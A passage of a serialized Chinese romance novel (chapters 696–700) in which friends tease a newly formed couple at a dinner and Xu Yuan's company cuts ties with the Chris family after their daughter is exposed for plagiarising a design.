“怎么不说呢,你不是要心疼我吗?”陆杳杳眨巴着眼睛看他。 苏衡胸腔的火气却是散不去了,看到她这张小脸很想亲上去。 “嗯……”这么想着也这么做了,他有些控制不住的衔住她的唇瓣,灵活的舌顶开她的牙关汲取她口中的芬芳,鼻端也萦绕着那种独属于她的清冽香气,让她无论如何都想要把她结结实实的抱个满怀。 他的心中全都是满足感。 心中装着的全都是陆杳杳…… “你说我要怎么心疼你。”听到周围传来的轻微抽气声和震惊的声音苏衡才堪堪停手。 被他揽着腰才没有软倒在他的怀里,可是现在却是大脑都不清醒了,完全忘记了明明是自己要勾搭苏衡,怎么现在却是被他技高一筹反勾引去了? 陆杳杳真想低着头拍着自己的脸骂一句美色误人。 “我就是故意调戏你呢,没想你真的怎么心疼我,你心疼我还不如腾出时间来多陪陪我。”陆杳杳缓了好一会儿才红着小脸儿抬起头,却是觉得自己于他有些低了,便踮起脚尖吻了吻他的侧脸,声音也带着小可爱的说道,“好了好了,这事儿过了,不提了不提了!” 她这会儿知道害羞了,好像刚才勾搭他的不是她一样。 鬼灵精的,也只有陆杳杳了。 苏衡失笑,没忍住伸手揉了一把她的头发。 等到了华庭,许愿已经把能交的都叫来了,唯有陆斯年因为受伤还在医院不能来,现在正是休息时间,总不好为了聚餐折腾病患。 薛酒倒是个浑的,还来了一句不如带着火锅去医院陪陆斯年吃。 许愿拍他脑门:“你是不是忘了斯年哥哥现在没办法吃火锅。” 薛酒立刻换了个意思:“那就让陆斯年陪着我们吃火锅,我们吃他看着,也算是另类聚餐了。” 许愿:“?” 人话? 做个人吧! 许愿看他这嘚瑟样呵了一声,冲他勾勾手指,薛酒赶紧凑上来想问许愿要说点什么结果就听许愿问:“你和姜明珠现在进展怎么样?” 薛酒轻咳了一下:“我们看了好几场电影了。” 许愿泼他冷水:“有没有可能姜明珠只是喜欢看电影却又没有陪着看的搭子?” 薛酒瞪眼:“那看电影的时候她还脸红呢!” 许愿哦了一声:“有可能是被吓得,你是不是带她看恐怖片了。” 薛酒:“……” 得,下次换爱情片。 薛酒不服气:“我还陪她去了好几次漫展,她对我没意思能陪我去漫展吗。” 许愿抱肩又呵他:“有没有可能姜明珠只是单纯的喜欢逛漫展,恰好你长得好看出什么角色都很好上妆所以带你去炫耀的?别的人看到她都会羡慕吧,还会上来跟你们集邮拍照,是这样吧。” 薛酒无力反驳。 那确实是这样,每次去漫展都会陪着姜明珠出个角色。 谁知道姜明珠整体待在研究室里做研究的理科女孩子竟然很喜欢玩乙女游戏,喜欢在虚拟游戏里面谈恋爱! 说真的,要不是他长了这么一张逆天漂亮的脸,姜明珠肯定理都不带理他的。 每次陪她去漫展姜明珠都会让他cos那些乙游男主,也只有cos那些人的时候姜明珠才会眼睛发亮。 他出那些角色肯定要了解那些角色,还陪姜明珠玩了玩这些游戏过了过剧情,这才知道姜明珠为什么会喜欢那些人。 她其实在透过那些人的灵魂在与之共鸣。 她骄傲明媚却又在期待着有人来爱。 薛酒长得好声音也好,姜明珠甚至还暗搓搓的给他报了配音课,一对一那种配音课,请的还是专门的老师,对,就是她喜欢的那几个乙游角色的配音老师专门教她配那几个角色。 薛酒都被她气笑了,追求姜明珠这条道路特太长太难了。 现在还被许愿插了一刀,命更苦了啊。 许愿看他此刻这蔫头耷脑的样子戳了戳他:“不然你给姜明珠打个电话让她过来一起聚餐?” 很好,就为这句话薛酒重新活过来了,赶紧给姜明珠去了电话,说明原因后姜明珠立刻拒绝。 原话是“许愿在那里你要我去聚餐?你疯了还是我疯了!” 说完就挂电话,十分无情且残忍。 偏偏许愿还在一旁幸灾乐祸的笑:“被拒绝了吧,你就追吧,我看你什么时候能追到姜明珠。” 薛酒更无奈了。 拜托,姜明珠不来到底是因为谁啊,因为你啊祖宗! 许愿可不知道这些,欣赏了会儿薛酒幽怨的眼神就跟盛景炎坐在沙发上懒懒散散的休息了。 偏巧这时候门开了,苏衡和陆杳杳进来了。 许愿把玩着盛景炎的手,听到声音才坐起来朝着门口看去,本以为这次来的会是韩城韩越江行野这群人,没想到来的是苏衡和陆杳杳。 只不过状态不太对。 离开的时候这两人一前一后离开,可现在竟然是手牵手进来的。 隔着这么老远许愿都能看到这两人身上泛起的粉红泡泡。 许愿看了看盛景炎冲他扬了扬眉,显然盛景炎也默契的发现了这两人的不对。 这么短的时间内就把人忽悠过去了,苏衡这小子……有点东西啊。 陆杳杳在外面还调戏苏衡呢,这会儿对上许愿戏谑调侃的眼神才后知后觉的想起害羞了,脸颊都红了,想甩开苏衡的手,奈何男人握的紧,根本甩不开。 许愿轻笑:“这是在一起了?” 第696章 盛华可不是吃素的 听到许愿调侃,陆杳杳有点小得意的摇了摇苏衡的手,直到现在眉眼也是弯弯的。 一看也是早就对苏衡有感情了。 许愿看到她这般,不知怎么的想到了温栩栩,心也有点沉下来,但愿栩栩能尽快走出来,不要因为黎云笙沉陷其中。 江行舟韩城来了后又是一通起哄,薛酒更是灌了苏衡几瓶酒,好在苏衡酒量好,愣是没有被灌醉。 倒是薛酒差点被苏衡灌醉,等许愿看过去时薛酒已经“晕晕乎乎”的给姜明珠打电话撒娇了,醉?薛酒能醉?多半是在又装又演,就这玩意儿切开来都是黑的。 许愿忍不住扶额,中途苏衡接了通电话,陆杳杳没跟出去,许愿看了眼身旁的盛景炎,盛景炎明白她的意思点了下头。 许愿这才出去。 苏衡接到的是工作相关的电话,甚至还有人询问此次奥特斯特比赛的内幕是不是真的要公布出去。 拿这件事来问苏衡根本原因还是因为克里斯家族在E国是真正的贵族,且克里斯蒂娜的父亲在E国地位也不低,这次闹出的丑事足以让克里斯家族蒙羞。 堂堂克里斯家族的贵族小姐竟然抄袭华国人的作品,且这次比赛还是在华国举行,丢脸丢到华国,克里斯家族会被人指着鼻子骂,就是在官场怕是也要被人嘲讽了。 苏衡眸色淡淡,声音清冷:“克里斯家族最近小动作太多,你认为该怎么处理。” 小动作太多,已经涉及苏衡的底限。 常务委员秘书立刻明白苏衡的意思。 “我这就吩咐下去,不会压着有关克里斯家族的新闻,苏先生您在华国玩得开心,华国那边已经联系了顾先生,那边安排了人跟在您身边以防意外发生。” 苏衡仍是淡淡的,倒是没有更多工作交接。 挂断电话后苏衡才看向已经在一旁待了半晌的许愿。 “许小姐有事要说?” 许愿脸上还是带着笑意的,只是多了几分疏离之意。 “几年前我记得我只是希望苏先生在E国帮忙照顾杳杳,并未让苏先生这么……事无巨细的照顾到心里去。” 苏衡垂眸,语气平静:“我没有承诺过不会跟她在一起。” “感情的事情是无法避免的。” 苏衡这样说,许愿当然是信的。 毕竟她自己不也是不可避免冲动的喜欢了盛景炎? “苏先生这话的确有道理,不过我希望苏先生记住杳杳背后有盛华,还有我。” “你们可以因为年轻时候荷尔蒙的冲动爱上彼此,冲动的爱的确也是爱,细水长流的爱也是爱,但我不希望你们之间的爱到最后一点点变成背叛的爱。” 许愿的话说的直接,就差没有问他,你会不会出轨。 “我们的感情中不会有背叛。”苏衡回应。 “任何人的话都不可信,承诺是最可笑的,哪怕你现在对她感情真挚但也可能败给时间,那点爱意也可能会逐渐被蚕食的干干净净,现在真心的承诺衷心的爱意,到最后都可能变成可笑的笑话。” “只有权势和金钱不会变,你既然说爱杳杳,那么你名下的资产是不是也要有半数留给杳杳?当然不会让苏先生吃亏,如果未来杳杳背叛你我自然也会赔付苏先生一笔资产,我这边可以立字据来请律师公正,苏先生认为如何。” 陆杳杳是被许愿当做妹妹的。 如果陆杳杳爱上的人久居华国久居A市她断不会这么担心。 但现在陆杳杳的爱人是苏衡,苏衡现在已经算是E国人,且是E国政界高层,如果真的发生意外,她和陆斯年远在华国不是轻易能护得住的。 所以许愿要给陆杳杳资产作保障。 当然,她只能确定自己绝对不会背叛自己跟盛景炎之间的这段感情,却不能代表陆杳杳明确表示她一定不会背叛这段感情。 与爱情相关的,她也只能代替自己。 所以她拿出那份资产也是给苏衡一个基本的保障。 苏衡本来对许愿是有些冷淡的,只是听了她处处为陆杳杳考虑,本来清冷的眉眼都多了几分柔意。 “我当然会给杳杳保障,许小姐提到的那些我本就会给她。” 见他这样好沟通许愿才明白他确实是真心实意的。 许愿心底叹了口气,果然,只有栩栩总是在受伤,就连曾经最爱的爱人也会是伤她最深的枕边人。 许愿眸光深了几许,开口问他:“你打算怎么处理克里斯蒂娜相关的事?克里斯家族的事情,怕是不好解决。” 苏衡完全没有当一回事,他低笑一声,只是笑意里面都掺杂着冷,这冷不是针对许愿的,而是针对克里斯家族的。 “普通人做出这种事需要如何解决,克里斯家族的事情就需要如何解决,不会有特殊关照。” 苏衡的回答显然是没有留情的。 许愿满意了。 克里斯蒂娜在华国做出那些事,先是贿赂了薇薇安和乔麦尔,还打算在华国故意设计陆杳杳,自然要付出点代价。 离开之际,许愿问:“苏先生和克里斯家族关系如何?” 苏衡微微挑眉:“不如何。” 就是因为不如何,所以克里斯家族才希望克里斯蒂娜能够勾搭上苏衡。 许愿却是笑了:“那就好。” 她说了这话便已经转身离开,没有做更多停留。 两人都是聪明人,苏衡自然明白许愿的画外音。 克里斯家族与他没有什么关系,那接下来许愿或许是会对克里斯家族出手。 克里斯家族的确是E国贵族,在政界也是有点牌面的,但……克里斯家族在商界的路子怕是要被断一断了。 盛华可不是吃素的。 许愿心道,克里斯蒂娜做了这样的蠢事,希望她不要后悔。 回到包厢的路上许愿一通电话打给左司。 左司现在没有守着苏逸了,实在是苏逸整日里在研究所待着,也不需要他怎么看顾,加上陆斯年受伤,薛酒又在追着姜明珠到处跑,干实事儿的没几个了,左司只能回来顶上。 第697章 五大三粗光长个不长脑子 接到许愿的电话时就听到许愿开口:“左司,盛华与克里斯家族的所有合作全部暂停,如果克里斯家族有人打来电话,就将这次奥特斯特比赛中发生的事情如实相告,克里斯家族知道该怎么做。” 左司怎么可能不明白许愿这是护短呢,明白后立刻吩咐下去,所有跟克里斯家族有关的合作全都卡住了,甚至于左司还联系了跟盛华关系不错的海外公司提了几句有关克里斯家族的事,旁的家族知道许愿是盛华幕后真正老板的也是聪明的远离克里斯家族。 开玩笑,许愿现在研究出了全息相关的只能AI,手里面还有能治疗癌病的药物。 许愿这女人这么聪明,谁知道以后会研究出什么?为了一个老牌的克里斯家族去得罪许愿?除非他们是疯了。 许愿回到包厢,盛景炎已经给她点了热牛奶。 许愿坐在他旁边就听盛景炎笑着问:“解决了?苏衡怎么说?” “还挺通情达理的。”许愿揪着他的领带玩儿:“不过肯定没有你好。” 盛景炎由着她玩着自己的领带,甚至为她玩的顺手往她的方向靠了下。 许愿和盛景炎亲密无间,陆杳杳和苏衡也是手牵手,陆杳杳还一直给苏衡夹菜,明明自己脸都吃成小仓鼠了。 薛酒强忍住自己翻白眼的冲动,得,继续熬着吧。 刚才给姜明珠打电话说喝醉了,大小姐根本不理,来都不来,也就他一头热。 他又叹了口气偏头去看身边美滋滋看别人谈情说爱浑然不知自己是单身狗的韩城,问道:“我不好看吗?” 韩城:“?” 韩城来兴致了:“那肯定没有我好看啊!” 这是薛酒要的答案吗? 薛酒唇角抽了抽:“你一边儿去。” 薛酒目光落在韩越身上,韩越之前没喝多少酒,此刻正跟江行舟聊工作的事,注意到薛酒的眼神挑了下眉:“怎么了?” 薛酒又问:“我好看吗?” 韩越:“?” 韩越本来脸上带着的笑意都跟着僵了:“你是不是不知道你跟唐文晞在圈子里因为美貌出名的?” 薛酒叹气摸了把自己的脸:“那我是不是不如以前好看了。” 韩越看了好半晌,愣是没觉得哪里不好看。 “你现在出去被星探看到了就要追着你求着你出道你信吗。” 韩越组织了下语言回他。 薛酒又灌了一杯酒:“那姜明珠怎么不来接这么美貌的醉酒可怜的我回家呢,但凡我长成韩城那样我也就认了,可我长这样她也忍心。” 韩城:“我日……你他……我明天送你一车羊驼吐你口水信不信!” 韩城也知道脏话不好,委婉了半天用羊驼来表达自己此刻烦躁的心情。 羊驼=草泥马 韩城心道你好看就好看在这里拉踩他干什么?他就算没那么好看也绝对不丑啊!韩二少也是英俊潇洒的很好吗! 薛酒一脸嫌弃的扫了韩城一眼:“五大三粗光长个不长脑子,养个宠物还是喜欢吐口水的羊驼,难怪单身。” 韩城:“?” 谁不长脑子了! 韩越竟然认同的点了下头:“嗯。” 韩城:“!”哥你嗯毛球啊!他骂你弟啊! 显然韩越没觉得薛酒是在骂韩城,他是由衷的觉得韩城确实是没脑子。毕竟有脑子也干不出拿韩老爷子几百万的茶饼扔喷泉这烂事儿。 “大家都是单身狗,你侮辱谁呢薛酒!” 韩城这话才出口,包厢的门就被服务员打开了,包厢内的人还当是又点了甜点什么的,只是抬眼扫了下。 然而一抬眼就看到身着白大褂脸上架了副眼镜带着点桀骜清冷的美人站在门口,仔细一看。 豁? 姜明珠! 许愿一言难尽的看着这一幕,敢情薛酒装醉撒娇姜明珠还真信了,平日里那么精明的人就这么被骗上钩了? 韩城看到姜明珠皱眉:“姜明珠你来干嘛?陆斯年也没在啊。” 下一秒薛酒就站起来“晃晃悠悠”走到姜明珠身边:“她是来接我的。” 韩城:“?” 韩城觉得自己今晚脑子已经长出来太多问号了,他甚至于觉得自己现在就是个大大的问号。 陆斯年的未婚妻来接他喝醉酒的兄弟回家?还是晚上? 有没有人告诉他到底发生了什么? 韩城震惊。 结果薛酒指着韩城就对姜明珠说:“他骂我是狗。” 韩城觉得更离谱了啊。 薛酒你是不是有病,他说的明明是单身狗啊!狗和单身狗那能一样吗! 岂料姜明珠根本就没有给韩城解释的机会,冷嗤一声:“你才是狗。” 然后姜明珠就带薛酒走了,是的,就这么走了,骂了韩城一句狗就这么走了,根本没管脸青一阵紫一阵的韩城。 等门被关上,人都走远了,韩城才发出几乎是咆哮的“艹”! 可以说是憋了一晚上最终还是破防没憋住骂了句脏字。 韩城觉得自己可太委屈了,就是被老爷子逼婚被老爷子停卡都没这么委屈过。 “许愿,你就不能管管薛酒吗?” “而且薛酒跟姜明珠大晚上的一起算怎么回事儿?” “姜明珠那可是陆斯年的未婚妻,她们就不怕陆斯年知道这件事以后朋友都没得做吗?” 韩城一字一句的还挺关心这事儿,可见根正苗红三观正。 许愿顿了下,看了看盛景炎,眼神询问“你没告诉他薛酒在追求姜明珠?” 盛景炎默了片刻目光看向韩越,眼神示意“你没告诉你兄弟?” 韩越摸摸鼻子干咳了一声,有点心虚的看向江行舟,江行舟先是一怔,然后斯斯文文的目光转到江行野身上。 江行野:“……” 得,他们都知道薛酒在追求姜明珠,就只有韩城什么都不知道被蒙在鼓里。 陆杳杳是真不知道,还有点不明白这群人看来看去是什么意思,苏衡再聪明也不懂是这么个事儿。 除了韩城也就陆杳杳和苏衡在状况之外不明所以。 许愿抱着手臂看着江行野,意思很明显了,让江行野说。 毕竟江行野跟韩城关系最好,逃婚私奔……呸,逃婚不肯相亲投奔的都是江行野呢。 第698章 怎么他总是乐子人啊 江行野一时颇为无语,韩城压根不知道发生什么,还在这里问许愿怎么回事。 江行野给韩城倒了杯蔓越莓汁:“这件事我知道。” 韩城立刻回头看他。 江行野继续解释。 “薛酒喜欢姜明珠,一直在追求姜明珠,姜明珠和陆斯年之间的婚约其实名存实亡,陆斯年并不在意这件事,姜明珠也已经不在意两人的婚约了。” 韩城:“?” 韩城深吸了一口气,好半晌才开口:“要不咱们说人话呢?” 江行野直接:“就是姜明珠和薛酒很有可能在一起,薛酒可能不是单身狗。你才是。” 薛酒彻底绷不住了。 凭什么啊,为什么啊,怎么他总是乐子人啊! 韩城纠结了好半晌,才发现包厢内除了苏衡和陆杳杳,其他人都是一副好像早就知道的表情,顿时更绷不住了。 “你们早就知道了?就瞒着我一个?你们是不是人啊!” 韩城大喊大叫,韩越淡定的喝了口热茶:“你也没问。” 韩城抢了他的茶给他倒了杯烈酒:“你也没说!” 韩越默默地将酒喝了,算是这事儿翻片儿,韩城这才哼哼唧唧的不揪着不放了。 倒是苏衡看了看身边的陆杳杳,小声道:“你的朋友们一直都这么……活泼?” 活泼说的还是委婉了。 陆杳杳没忍住笑出声。 …… 克里斯家族的各方面合作果然被卡主了,本来当天就该签合同的结果盛华的人推迟了签约的时间并说合作的事情可能需要重新考虑,克里斯家族的家主克里斯蒂娜的父亲“克里斯尼恩”派公司的人去问清楚什么原因,结果根本没见到负责人。 几经波折最后克里斯尼恩特地到了盛华国外的分公司打算见一面项目的负责人问清楚缘由。 人是等到了,不过见到他时负责人面色都冷了几分。 克里斯尼恩面上带着笑,还特地带着礼物上门,想请负责人吃顿饭后好好聊一聊。 岂料负责人面上的笑意都格外不走心。 “尼恩先生知道陆杳杳是谁吗。” 克里斯尼恩顿了下,陆杳杳,E国政界高层没有不知道陆杳杳的,据说是苏先生爱慕的对象,也算是他女儿的情敌。 “不知道您提到陆小姐是什么意思?这件事跟陆小姐有什么关系?”克里斯尼恩询问。 负责人笑了:“尼恩先生应该知道盛华幕后真正的主事人是许愿小姐,而目前盛华的总裁是陆斯年,陆杳杳小街是我们陆总的亲妹妹,也被许愿小姐看作是妹妹。” 克里斯尼恩听到这里心都跟着抖了下。 他是知道陆斯年有个妹妹的,就是因为知道陆斯年有个妹妹叫陆杳杳,所以知道这个陆杳杳后特地去查过,却是自己的女儿蒂娜告诉自己这个陆杳杳跟陆斯年和盛华没有关系,所以他才同意让蒂娜继续追求苏衡不惜一切代价得到苏衡。 可现在负责人说这个陆杳杳就是陆斯年的妹妹? 他的女儿骗了他! 陆杳杳是陆斯年的妹妹,那蒂娜都做了什么? 克里斯尼恩不敢想自己那嚣张的女儿能对陆杳杳做什么,克里斯尼恩心里又跌慌,但到底是克里斯家族的家主,只能面上笑了笑。 负责人仔细观察克里斯尼恩的表情,负责人淡淡道:“昨天是左特助亲自来电,左特助说让我这边将具体原因告知尼恩先生。” 克里斯尼恩心已经彻底沉下去了,负责人道:“奥特斯特设计比赛,蒂娜小姐在华国买通乔麦尔和薇薇安并抄袭了陆小姐的设计图故意设计陆小姐,许愿小街知道后震怒,所以勒令我们盛华撤销与克里斯家族的合作……至于旁的家族做了什么那我们盛华是不清楚的。” 这话已经说的够直接了,将蒂娜在华国做的事全都告知克里斯尼恩。 最后一句,也算是提醒,不只是盛华会撤销跟克里斯家族的合作,其它家族也一样会不会再跟克里斯家族合作。 许愿在商圈是个什么存在克里斯尼恩当然清楚,那些家族为了许愿当然会在第一时间抛弃克里斯家族。 克里斯尼恩悬着的心这次算是彻底沉下去了。 克里斯尼恩笑呵呵的来,慌乱害怕的离开。 负责人嗤笑一声:“养出克里斯蒂娜这种混世魔王,迟早要出大乱子,要怪就怪他自己没有教好女儿,以往欺辱那些人都是平民百姓,这次算是提到了铁板,也是活该。” 克里斯尼恩回到公司,董事会的一群人吵的他头痛都在问盛华为什么突然停止合作。 全是因为蒂娜,这话克里斯尼恩哪里敢说!他只能找了个借口说自己会联系盛华问清楚原因然后争取继续合作的机会。 克里斯尼恩累了一天,等回到家就见佣人在准备甜点。 他不喜欢吃甜点,家里的夫人这个年纪也不爱吃点心,只有克里斯蒂娜最爱吃这些甜嘴的东西。 克里斯尼恩脱掉身上的外套,管家将衣服收起来就听克里斯尼恩问道:“蒂娜回来了?” 管家回道:“小姐的确已经回来了,看着像是受了什么委屈,先生要不要去看看。” 克里斯尼恩冷哼一声:“她还受了委屈!她那是栽赃不成被人揭穿了没脸见人!” “现在就让她给我滚下来!”克里斯尼恩冷声吩咐。 他嗓门不算小,在后花园赏花的阿芙罗拉恩雅夫人也听到了他的声音,恩雅夫人抱着猫走进大厅,就见克里斯尼恩正在暴怒。 恩雅夫人正要问一句出了什么事,就见蒂娜已经下楼了,脸上怨恨恼恨的表情甚为明显。 “蒂娜,你这是怎么了,谁欺负了你?” 蒂娜是被宠大的,特别是恩雅夫人最是疼蒂娜,见蒂娜这样问也不问就觉得她受了委屈。 克里斯尼恩气到喉咙疼,他指着蒂娜道:“欺负她?谁有胆子欺负她!倒是她去华国欺负人,我的上帝啊,你知道她动了谁惹了谁吗!” 恩雅夫人不清楚事情的前因后果,此刻正一头雾水,蒂娜却像一头疯狂的小豹子站起身怒吼回去。 第699章 恨死她们了 “难道不是陆杳杳欺负我吗!怎么就是我动了她!如果不是她一定要在那些人面前揭穿真相我也就不会出丑!还有那个许愿!都是那个许愿!我恨死她们了!” 尼恩听到她提及许愿,顿时眼前一黑,听着这意思,蒂娜还是当着许愿的面欺负了陆杳杳! “你疯了!你真的是疯了!” “这几年我一直都跟你讲有些人我们是招惹不得的!你当许愿是什么普通人吗!你干欺负她护着的人,你就等着她踩死克里斯家族吧!” “她一个华国人!哪里有那么大的能耐!爸你骗我也要找个正常点的理由!” 蒂娜你完全不信,甚至还在跟尼恩硬刚。 恩雅夫人听得一头雾水,正在这时克里斯家族的高层给尼恩去了电话,张口就问:“蒂娜疯了吗!为什么要在华国抄袭陆杳杳的设计图!这是把我们克里斯家族的脸丢到华国了!蒂娜是疯了吗!那可是陆杳杳!” 尼恩震惊。 公司的高层怎么知道了这件事…… 是了。 这次奥特斯特设计比赛是国际赛事,肯定会有报道的。 苏衡那么喜欢陆杳杳,又怎么可能为克里斯家族遮掩,这件事怕是已经传出去了。 克里斯尼恩颤颤巍巍的让管家打开电视,巧的是正在播放最新的奥特斯特吧赛事相关的新闻,特别提及克里斯家族的蒂娜小姐超级华人作品。 克里斯尼恩眼前一黑。 蒂娜不敢置信:“她们怎么敢放这些新闻的!她们疯了吗!我可是克里斯家族的小姐!让她们把这新闻撤掉!撤掉!” “你还不明白吗!是苏衡授意的!”尼恩气愤大吼。 许愿卡主他们的合同资源,苏衡就搞坏他们克里斯家族的名声,真是一环扣一环。 蒂娜扛不住的翻开自己的手机登录ins,奥特斯特官网同样也说明了这次的比赛情况,完全没有为克里斯家族遮掩。 一时之间评论区全都是辱骂嘲讽的声音,其中不乏有曾经跟她关系很好的贵族小姐。 {克里斯蒂娜能做出这种事情我真是一点都不奇怪,她不是一直都骄纵跋扈吗?在E国谁不知道蒂娜小姐暴脾气谁也惹不得} {设计图都能偷,还丢脸丢到华国了,干脆直接改了国籍好了,我们E国可要不起这种丢脸的贵族小姐。} {在E国的时候蒂娜不总是冷暴力陆杳杳,一直都说陆杳杳是平民,是卑贱的华国人,笑死,陆杳杳是卑贱的华国人,那她敢不敢说苏衡实卑贱的华国人,整日里种族歧视校园暴力,蒂娜一直都不是个好东西。} {知道陆杳杳真实身份的人看到蒂娜评价陆杳杳是“卑贱的华国人”都要笑疯了。这姐是真不知道陆杳杳身份啊,陆杳杳的哥哥可是陆斯年,或许我直接说陆斯年有些人不知道,那盛华总知道吧,陆杳杳的哥哥是盛华的总裁,她可是盛华总裁的亲妹妹!许愿都拿陆杳杳当妹妹那种!许愿你们总该知道吧!研究抗癌药物和全息AI那位!如果陆杳杳都算卑贱,那我们这些算什么?泥坑里的蛆虫?克里斯蒂娜就是太看得起她自己了!她根本不知道跟陆杳杳比起来,她那点贵族身份根本不够看!} {克里斯家族如果放在十年前确实是顶尖的豪门贵族,可是现在的克里斯家族算不得什么了,蒂娜的父亲确实在政界有点作为,但苏衡上位后改得改撤的撤,克里斯尼恩的职位早不如从前,至于商界的地位……克里斯家族从商的就没几个真有脑子的,而盛华的地位大家都懂,就现在的克里斯家族敢欺负陆杳杳?盛华一旦停止合作那就是摁住了克里斯家族的命脉,没救喽。} {克里斯蒂娜是真的疯了吗?她不是挺有才的吗,为什么一定要抄袭陆杳杳的作品。} {笑死,克里斯蒂娜为什么抄袭陆杳杳的作品?你猜为什么?因为蒂娜不喜欢陆杳杳,不,应该说是讨厌,厌恶,蒂娜有多想嫁给苏衡知道吗?就差没脱光衣服把自己送进苏衡房间了,可苏衡喜欢谁?苏衡喜欢陆杳杳啊!就这蒂娜能不恨陆杳杳吗?他恨不能咬碎陆杳杳吞入腹,这次有机会诬陷陆杳杳搞臭她的名声蒂娜怎么可能放过。她就等着陆杳杳出事然后被苏衡抛弃,她好自己举荐上位顺带着将克里斯家族重新抬起来。} {垃圾,克里斯蒂娜还是趁早退学吧,我们学院要不起抄袭的小人。} {蒂娜也配跟陆杳杳比,整日里散播谣言说陆杳杳参加的比赛有黑幕,她自己参加的比赛还不是打点过的?恶心!} 评论区全都在骂克里斯蒂娜,甚至已经有国外的脱口秀演员将这次的事情编成了段子,克里斯蒂娜彻底成了小丑角色。 全网都在骂她,骂她嚣张、骂她跋扈、骂她抄袭、骂她丑人多作怪,甚至有人提议这种在奥特斯特设计比赛中作弊的人剔除设计界,以后没有任何参加比赛的资格。 克里斯蒂娜越看越恨,越看越心惊。 她只是抄袭,为什么要这样对她! 她根本不知道自己平日里的嚣张作风树立了太多敌人,还在将所有的错处都推到陆杳杳和许愿的身上,嘴里念念叨叨骂着陆杳杳和许愿是贱人。 “你给我闭嘴!许愿也是你能骂的吗!你……你到底知不知道许愿是什么身份!” “就是我遇到许愿也只能低头的份儿,你光看着我市克里斯家族的家主,可你不知道我们家族已经是强弩之末,是盛华跟我们合作才给了我们机会,现在因为你得罪了陆杳杳,我们跟盛华的合同已经卡死了!” “你真的是疯了!” 克里斯蒂娜还不清楚这件事有多严重,还要继续跟克里斯尼恩争吵。 克里斯尼恩冷笑:“盛华幕后真正的老板是许愿,她不想跟我们克里斯家族合作倒是小事,可你知不知道许愿是国外多少豪族的座上宾。” 第700章 像是被苏青莲下了蛊 “那些贵族的人都知晓许愿才是盛华的幕后人,明白这是许愿的命令后会故意远离我们克里斯家族,往后克里斯家族再想兴起就难了。” “你以为克里斯家族换个家主是很难的事?你现在得罪了陆杳杳就是得罪了苏衡和许愿,商界也好政界也好没有一个人会给我们面子,只要许愿一句话,我就能被那群豺狼虎豹拉下马!往后克里斯家族的家主都要换人了!” “你当你那个叔叔是个好的!他盯着我屁股下面的位子不知道盯了多少年!” 克里斯尼恩越说越心痛,克里斯蒂娜直到现在才知道事情严重性,整个人都彻底僵住了。 恩雅夫人也震惊不已。 “现在只有一个办法,你跟我去华国,去找许愿和陆杳杳亲自道歉,只要许愿肯原谅你……” 这话还没说完,克里斯蒂娜就已经怒吼着打断克里斯尼恩的话。 “我不可能去跟许愿和陆杳杳道歉!都是因为她们我的名声才差成这样!” “你名声差是因为你这些年得罪了太多人欺压了太多人,你抄袭的事情会暴露也全因你先抄了陆杳杳,这一桩桩一件件哪件冤枉了你!你说!” 克里斯尼恩怒问。 “总之我是绝对不会道歉的。”克里斯蒂娜硬气回话。 “好好好。”克里斯尼恩气笑了。 “你不可能道歉是不是,好,那就别道歉。” 克里斯尼恩眼神都冷了:“你可以不道歉,我也可以没有你这个女儿,你不肯去华国,那我就亲自走一遭。” 克里斯蒂娜茫然到不明白父亲的话是什么意思,克里斯尼恩已经走了。 蒂娜不懂,恩雅夫人却是懂的。 恩雅夫人开始落泪:“蒂娜,你就听你父亲的去华国好好道歉,不然你父亲真的会抛弃你的。” 蒂娜不明白。 恩雅夫人咬牙道:“你父亲在外有别的女人,那女人为你父亲生了一儿一女,若非是我们阿芙罗拉家族压着,你父亲早就将那私生子私生女迎进门了。” “现在你得罪了许愿和苏衡,若是你父亲跟我离婚也是有可能的,这件事就是阿芙罗拉家族知道了也挑不出他的错,真要等到你父亲跟我离婚将我们赶出克里斯家族吗。” “蒂娜,你好好想想。” “你只要低头道歉那就什么事都没有了不是吗。” 恩雅夫人循循善诱,蒂娜整个人却都有些痴傻了,她半晌都缓不过来,像是有些茫然。 父亲不是只有母亲,父亲在外面有其他女人。 父亲不是只有她一个女儿,父亲在外面还有私生子私生女。 她和母亲反倒成了笑话。 她明明是最尊贵的……怎么可以呢。 蒂娜不懂,也不想懂。 她是真的不想道歉,她不觉得自己错了,恩雅夫人如何劝她都不听。 知道阿芙罗拉家族来了电话询问蒂娜是不是得罪了许愿和陆杳杳,阿芙罗拉家族已经知道盛世卡了克里斯家族的合同,现在也在逼着蒂娜道歉,否则阿芙罗拉家族也会跟他们划清关系。 蒂娜整个人都有些魔怔了。 许愿就真的有这么厉害吗,为什么所有人都在怕她,反倒衬得她自己成了小丑。 她不要这样。 克里斯蒂娜悲愤的逃离家中选了家酒吧酗酒,结果在酒吧都能听到有人嘲讽她愚蠢敢去得罪盛世总裁的妹妹,活该丢脸。 说这话的人是一直跟在蒂娜身边的小跟班,只能算是小家族的。 克里斯蒂娜气愤的站出来,对方却不再像以前那样唯唯诺诺,冷笑的拽住她的衣领嘲讽:“你还当现在的克里斯家族是以前的克里斯家族吗?” “盛世已经给了我们家族合同,你们克里斯家族被淘汰了。” 对方戳着克里斯蒂娜的胸口,说出的话都是嘲讽。 蒂娜不懂,一个许愿,一个盛世,怎么就能把克里斯家族逼到这份儿上。 “滚吧,别在这里碍眼了,你这个抄袭别人作品的小偷。” 对方嘻嘻哈哈的一字一句都戳着克里斯蒂娜心口。 克里斯蒂娜失魂落魄醉醺醺的回家,临到家还能听到佣人嘀嘀咕咕指指点点,一看就是在说她,她不用猜都知道那群人是在说她。 蒂娜到了现在才想起离开华国前,在比赛场时许愿看她那个戏谑中带着凉意的眼神。 克里斯家族完了,父亲可能不会原谅她了。 …… 克里斯蒂娜已经因为抄袭时间躲在家里不敢见人,许宁呢,也因为许愿那些话被吓住了。 许镇江因为苏青莲整个人都有些疯疯癫癫的。 许镇江本来人到中年变得发福肿胀,可为了苏青莲,许镇江去健身区减肥,现在被人看到也损失能称得上一句美大叔了,偏偏就是人有点疯魔。 苏青莲的东西他全都收回来,家里面到处都摆满了苏青莲的照片,许宁回到家就听到家中佣人在讽刺许镇江。 “先生是真的疯了吗,我看着倒是还挺正常的。” “那肯定是疯了,不然也不会家里面摆满了先夫人的照片,整日就抱着夫人的照片念叨呢。” 许宁面色阴沉,佣人看到许宁赶紧噤声。 最近许宁脾气不好,见谁都要找茬骂几句,她们可不敢招惹,赶紧一哄而散。 许宁进了大厅,就看到墙壁上挂着的全都是苏青莲的照片写真,真像佣人说的那样摆了满满一墙。 疯了,真是疯了! 